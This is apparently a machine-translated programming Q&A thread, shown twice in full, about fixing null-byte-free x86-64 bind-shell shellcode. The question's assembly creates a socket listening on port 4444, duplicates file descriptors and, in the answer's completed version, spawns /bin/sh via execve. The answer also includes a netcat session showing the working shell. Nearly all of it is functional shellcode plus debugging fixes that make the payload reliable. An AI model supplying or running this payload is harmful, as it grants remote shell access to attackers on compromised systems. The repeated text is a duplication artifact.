删除空字节汇编 shellcode
Remove null byte assembly shellcode
从我的 shellcode 中删除空字节时,我似乎无法在没有奇怪的解决方法的情况下将 mov rsi 指令中的空字节彻底删除。
我有一个 bindshell shellcode,在执行 dup2 系统调用时,我必须将 rsi 设置为 0、1 和 2,以便我可以将 stdin、stdout 和 stderror 设置回 "user"。
删除空字节时,我通常会做类似的事情:
xor rsi, rsi
mov sil, 1
但这不知何故破坏了我的 shellcode。
所以我所做的工作是:
xor rsi, rsi
mov sil, al
sub sil, al
add sil, 1
有点多...
有人能告诉我为什么我只用 mov sil, 1 来破解 shellcode 吗?
编辑:
完整的无效代码:
global _start
_start:
xor rax, rax
mov al, 41
xor rdi, rdi
mov dil, 2
xor rsi, rsi
mov sil, 1
xor rdx, rdx
mov dl, 1
sub dl, 1
syscall
mov rdi, rax
xor rax, rax
push rax
mov dword [rsp-4], eax
mov word [rsp-6], 0x5c11
mov byte [rsp-8], 0x2
sub rsp, 8
mov al, 49
mov rsi, rsp
mov dl, 16
syscall
mov al, 50
mov sil, 2
syscall
mov al, 43
sub rsp, 16
mov rsi, rsp
mov byte [rsp-1], 16
sub rsp, 1
mov rdx, rsp
syscall
mov r9, rax
mov al, 3
syscall
mov rdi, r9
mov al, 33
xor rsi, rsi
mov sil, al
sub sil, al
syscall
mov al, 33
xor rsi, rsi
**mov sil, 1**
syscall
mov al, 33
xor rsi,rsi
**mov sil, 2**
syscall
HERE COMES ACTUALL SHELL CALLING
您的问题与您在堆栈上构建的 sockaddr
结构有关。您的代码执行此操作:
xor rax, rax
push rax
mov dword [rsp-4], eax
mov word [rsp-6], 0x5c11
mov byte [rsp-8], 0x2
sub rsp, 8
这将创建一个 16 字节的 sockaddr
,但尚未完全初始化。因为你只用 mov byte [rsp-8], 0x2
移动一个字节,所以 [rsp-7]
处的字节实际上从未被初始化,它会是被利用的程序 运行ning 时堆栈上发生的任何事情.它可能不是 0。如果它不是 0,那么该结构将有效地具有伪造的 sa_family
(或 sin_family
)字段。您可以做的是将结构初始化为全零,然后用以下内容填充它:
xor rax, rax
push rax
push rax
mov word [rsp+2], 0x5c11
mov byte [rsp], 0x2
两人提前将结构体栈上的16字节内存压零。 sub rsp, 8
被移除,因为 RSP 被推送更新。我们修改 MOV 指令以反映结构中数据的新偏移量。
您正在使用的此参数的 C 样式结构定义是:
struct sockaddr_in {
short int sin_family; /* 16-bit field, not 8-bit */
unsigned short int sin_port;
struct in_addr sin_addr;
unsigned char sin_zero[8];
};
在为 accept
系统调用创建 space 时遇到问题。此代码:
sub rsp, 16
mov rsi, rsp
mov byte [rsp-1], 16
sub rsp, 1
mov rdx, rsp
sub rsp, 16
很好,因为它为 addr
结构分配了 16 个字节。问题在于 addrlen
结构是一个 32 位无符号整数。您分配了 1 个字节,因此长度可能会受到 addr
结构开头的垃圾的影响(您的数据重叠并且内存未初始化)。您需要零初始化至少 4 个字节的堆栈 space 并将值 16(长度)移入其中。你可以这样做:
sub rsp, 16
mov rsi, rsp
xor edx, edx ; RDX = 0
push rdx ; Zero initialize 8 bytes of stack space
mov byte [rsp], 16 ; Set length to 16
mov rdx, rsp
为了简化我为 addrlen
字段分配了 8 个字节并将其初始化为值 16(结构长度)。分配额外的 space 不是问题,它只会浪费 4 个字节的内存。 xor edx, edx
与 xor rdx,rdx
的作用相同,但编码更短。如果目标操作数是 32 位寄存器,CPU 会自动将其零扩展到 64 位寄存器。
通过上述修复,您应该能够删除如下所示的代码:
mov dl, 1
sub dl, 1
和:
mov sil, al
sub sil, al
当 shellcode 漏洞被放入可利用程序时,使用这些指令可能只是通过改变堆栈布局暂时掩盖了问题。
其他建议
如果您通过 strace
运行 您的代码(无论是独立的还是作为另一个程序中的 shellcode),它将 运行 指定的程序并转储所有调用的系统调用以及它们的参数。正是这些信息让我意识到一些未初始化的堆栈导致使用了错误的值。如果您在调试器中,如果您转储堆栈数据以查看实际用于初始化相关结构的字节,您会遇到类似的问题。
通过在 dup 系统调用之后添加一些示例代码并删除 ** 字符,您的代码就可以工作了。
正如@Michael Petch 指出的那样,“......没有 sys_exit 系统调用,因此它可能会因段错误而崩溃,因为它 运行 是内存中的任何内容。”
我刚刚添加了一些使用 execve 系统调用的额外代码 运行 /bin/sh 只是为了说明您的代码可能是可行的。
nasm -felf64 -g -F dwarf wealot_001.s -o wealot_001.o && ld wealot_001.o -o wealot_001
global _start
_start:
xor rax, rax
mov al, 41
xor rdi, rdi
mov dil, 2
xor rsi, rsi
mov sil, 1
xor rdx, rdx
mov dl, 1
sub dl, 1
syscall
mov rdi, rax
xor rax, rax
push rax
mov dword [rsp-4], eax
mov word [rsp-6], 0x5c11
mov byte [rsp-8], 0x2
sub rsp, 8
mov al, 49
mov rsi, rsp
mov dl, 16
syscall
mov al, 50
mov sil, 2
syscall
mov al, 43
sub rsp, 16
mov rsi, rsp
mov byte [rsp-1], 16
sub rsp, 1
mov rdx, rsp
syscall
mov r9, rax
mov al, 3
syscall
mov rdi, r9
mov al, 33
xor rsi, rsi
mov sil, al
sub sil, al
syscall
mov al, 33
xor rsi, rsi
mov sil, 1
syscall
mov al, 33
xor rsi,rsi
mov sil, 2
syscall
; First NULL push
xor rax, rax
push rax
; push /bin//sh in reverse
mov rbx, 0x68732f2f6e69622f
push rbx
; store /bin//sh address in RDI
mov rdi, rsp
; Second NULL push
push rax
; set RDX
mov rdx, rsp
; Push address of /bin//sh
push rdi
; set RSI
mov rsi, rsp
; Call the Execve syscall
add rax, 59
syscall
输出:
$ nc localhost 4444
whoami
david
从我的 shellcode 中删除空字节时,我似乎无法在没有奇怪的解决方法的情况下将 mov rsi 指令中的空字节彻底删除。
我有一个 bindshell shellcode,在执行 dup2 系统调用时,我必须将 rsi 设置为 0、1 和 2,以便我可以将 stdin、stdout 和 stderror 设置回 "user"。 删除空字节时,我通常会做类似的事情:
xor rsi, rsi
mov sil, 1
但这不知何故破坏了我的 shellcode。 所以我所做的工作是:
xor rsi, rsi
mov sil, al
sub sil, al
add sil, 1
有点多...
有人能告诉我为什么我只用 mov sil, 1 来破解 shellcode 吗?
编辑: 完整的无效代码:
global _start
_start:
xor rax, rax
mov al, 41
xor rdi, rdi
mov dil, 2
xor rsi, rsi
mov sil, 1
xor rdx, rdx
mov dl, 1
sub dl, 1
syscall
mov rdi, rax
xor rax, rax
push rax
mov dword [rsp-4], eax
mov word [rsp-6], 0x5c11
mov byte [rsp-8], 0x2
sub rsp, 8
mov al, 49
mov rsi, rsp
mov dl, 16
syscall
mov al, 50
mov sil, 2
syscall
mov al, 43
sub rsp, 16
mov rsi, rsp
mov byte [rsp-1], 16
sub rsp, 1
mov rdx, rsp
syscall
mov r9, rax
mov al, 3
syscall
mov rdi, r9
mov al, 33
xor rsi, rsi
mov sil, al
sub sil, al
syscall
mov al, 33
xor rsi, rsi
**mov sil, 1**
syscall
mov al, 33
xor rsi,rsi
**mov sil, 2**
syscall
HERE COMES ACTUALL SHELL CALLING
您的问题与您在堆栈上构建的 sockaddr
结构有关。您的代码执行此操作:
xor rax, rax
push rax
mov dword [rsp-4], eax
mov word [rsp-6], 0x5c11
mov byte [rsp-8], 0x2
sub rsp, 8
这将创建一个 16 字节的 sockaddr
,但尚未完全初始化。因为你只用 mov byte [rsp-8], 0x2
移动一个字节,所以 [rsp-7]
处的字节实际上从未被初始化,它会是被利用的程序 运行ning 时堆栈上发生的任何事情.它可能不是 0。如果它不是 0,那么该结构将有效地具有伪造的 sa_family
(或 sin_family
)字段。您可以做的是将结构初始化为全零,然后用以下内容填充它:
xor rax, rax
push rax
push rax
mov word [rsp+2], 0x5c11
mov byte [rsp], 0x2
两人提前将结构体栈上的16字节内存压零。 sub rsp, 8
被移除,因为 RSP 被推送更新。我们修改 MOV 指令以反映结构中数据的新偏移量。
您正在使用的此参数的 C 样式结构定义是:
struct sockaddr_in {
short int sin_family; /* 16-bit field, not 8-bit */
unsigned short int sin_port;
struct in_addr sin_addr;
unsigned char sin_zero[8];
};
在为 accept
系统调用创建 space 时遇到问题。此代码:
sub rsp, 16
mov rsi, rsp
mov byte [rsp-1], 16
sub rsp, 1
mov rdx, rsp
sub rsp, 16
很好,因为它为 addr
结构分配了 16 个字节。问题在于 addrlen
结构是一个 32 位无符号整数。您分配了 1 个字节,因此长度可能会受到 addr
结构开头的垃圾的影响(您的数据重叠并且内存未初始化)。您需要零初始化至少 4 个字节的堆栈 space 并将值 16(长度)移入其中。你可以这样做:
sub rsp, 16
mov rsi, rsp
xor edx, edx ; RDX = 0
push rdx ; Zero initialize 8 bytes of stack space
mov byte [rsp], 16 ; Set length to 16
mov rdx, rsp
为了简化我为 addrlen
字段分配了 8 个字节并将其初始化为值 16(结构长度)。分配额外的 space 不是问题,它只会浪费 4 个字节的内存。 xor edx, edx
与 xor rdx,rdx
的作用相同,但编码更短。如果目标操作数是 32 位寄存器,CPU 会自动将其零扩展到 64 位寄存器。
通过上述修复,您应该能够删除如下所示的代码:
mov dl, 1
sub dl, 1
和:
mov sil, al
sub sil, al
当 shellcode 漏洞被放入可利用程序时,使用这些指令可能只是通过改变堆栈布局暂时掩盖了问题。
其他建议
如果您通过 strace
运行 您的代码(无论是独立的还是作为另一个程序中的 shellcode),它将 运行 指定的程序并转储所有调用的系统调用以及它们的参数。正是这些信息让我意识到一些未初始化的堆栈导致使用了错误的值。如果您在调试器中,如果您转储堆栈数据以查看实际用于初始化相关结构的字节,您会遇到类似的问题。
通过在 dup 系统调用之后添加一些示例代码并删除 ** 字符,您的代码就可以工作了。
正如@Michael Petch 指出的那样,“......没有 sys_exit 系统调用,因此它可能会因段错误而崩溃,因为它 运行 是内存中的任何内容。”
我刚刚添加了一些使用 execve 系统调用的额外代码 运行 /bin/sh 只是为了说明您的代码可能是可行的。
nasm -felf64 -g -F dwarf wealot_001.s -o wealot_001.o && ld wealot_001.o -o wealot_001
global _start
_start:
xor rax, rax
mov al, 41
xor rdi, rdi
mov dil, 2
xor rsi, rsi
mov sil, 1
xor rdx, rdx
mov dl, 1
sub dl, 1
syscall
mov rdi, rax
xor rax, rax
push rax
mov dword [rsp-4], eax
mov word [rsp-6], 0x5c11
mov byte [rsp-8], 0x2
sub rsp, 8
mov al, 49
mov rsi, rsp
mov dl, 16
syscall
mov al, 50
mov sil, 2
syscall
mov al, 43
sub rsp, 16
mov rsi, rsp
mov byte [rsp-1], 16
sub rsp, 1
mov rdx, rsp
syscall
mov r9, rax
mov al, 3
syscall
mov rdi, r9
mov al, 33
xor rsi, rsi
mov sil, al
sub sil, al
syscall
mov al, 33
xor rsi, rsi
mov sil, 1
syscall
mov al, 33
xor rsi,rsi
mov sil, 2
syscall
; First NULL push
xor rax, rax
push rax
; push /bin//sh in reverse
mov rbx, 0x68732f2f6e69622f
push rbx
; store /bin//sh address in RDI
mov rdi, rsp
; Second NULL push
push rax
; set RDX
mov rdx, rsp
; Push address of /bin//sh
push rdi
; set RSI
mov rsi, rsp
; Call the Execve syscall
add rax, 59
syscall
输出:
$ nc localhost 4444
whoami
david